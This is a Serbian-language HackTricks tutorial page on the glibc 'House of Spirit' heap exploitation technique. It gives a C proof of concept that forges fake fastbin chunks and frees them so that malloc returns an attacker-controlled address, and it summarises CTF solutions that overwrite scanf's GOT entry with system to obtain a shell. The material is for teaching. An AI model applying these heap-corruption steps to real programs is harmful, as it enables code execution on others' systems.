House of Spirit
Naučite i vežbajte hakovanje AWS-a: HackTricks Training AWS Red Team Expert (ARTE)
Naučite i vežbajte hakovanje GCP-a:
HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
Proverite planove pretplate!
Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @hacktricks_live.
Podelite hakovanje trikova slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Kod
Kuća duha
```c #include #include #include #include
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };
int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;
ptr = malloc(0x30);
printf("Original alloc address: %p\n", ptr); printf("Main fake chunk:%p\n", &fake_chunks[0]); printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
// Passes size check of "free(): invalid size" fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)" fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be 'freed' // Point to .fd as it's the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;
free(ptr);
victim = malloc(0x30); printf("Victim: %p\n", victim);
return 0; }
</details>
### Cilj
* Biti u mogućnosti da se doda adresa u tcache / fast bin kako bi kasnije bilo moguće alocirati je
### Zahtevi
* Ovaj napad zahteva od napadača da bude u mogućnosti da napravi nekoliko lažnih brzih chunk-ova koji tačno pokazuju vrednost veličine i zatim da bude u mogućnosti da oslobodi prvi lažni chunk kako bi se našao u bin-u.
### Napad
* Kreirajte lažne chunk-ove koji zaobilaze sigurnosne provere: trebaće vam 2 lažna chunk-a koji u osnovi pokazuju tačne veličine na pravim pozicijama
* Na neki način oslobodite prvi lažni chunk kako bi se našao u brzom ili tcache bin-u, a zatim ga alocirajte kako biste prepisali tu adresu
**Kod sa** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **je odličan za razumevanje napada.** Iako ovaj šema iz koda to prilično dobro sumira:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/
Napomena da je potrebno kreirati drugi blok kako bi se zaobišle neke provere ispravnosti.
Primeri
Libc infoleak: Preko prelivanja moguće je promeniti pokazivač da pokazuje na GOT adresu kako bi se procurila libc adresa putem akcije čitanja CTF-a.
House of Spirit: Zloupotrebom brojača koji broji broj "pušaka" moguće je generisati lažnu veličinu prvog lažnog bloka, zatim zloupotrebom "poruke" moguće je lažirati drugu veličinu bloka i na kraju zloupotrebom prelivanja moguće je promeniti pokazivač koji će biti oslobođen tako da se naš prvi lažni blok oslobodi. Zatim ga možemo alocirati i unutar njega će biti adresa gde je "poruka" smeštena. Zatim je moguće usmeriti ovo ka ulazu
scanf
unutar GOT tabele, tako da je možemo prepisati adresom do sistema. Sledeći put kada se pozovescanf
, možemo poslati unos"/bin/sh"
i dobiti shell.Glibc leak: Neinicijalizovan bafer steka.
House of Spirit: Možemo izmeniti prvi indeks globalnog niza pokazivača na hipu. Sa jednim bajtom izmene, koristimo
free
na lažnom bloku unutar validnog bloka, tako da dobijemo situaciju preklapajućih blokova nakon ponovne alokacije. Sa tim, jednostavan napad trovanjem Tcache-a radi kako bi se dobio proizvoljni pisani primitiv.
Reference
Naučite i vežbajte hakovanje AWS:HackTricks Training AWS Red Team Expert (ARTE)
Naučite i vežbajte hakovanje GCP-a:
HackTricks Training GCP Red Team Expert (GRTE)
Last updated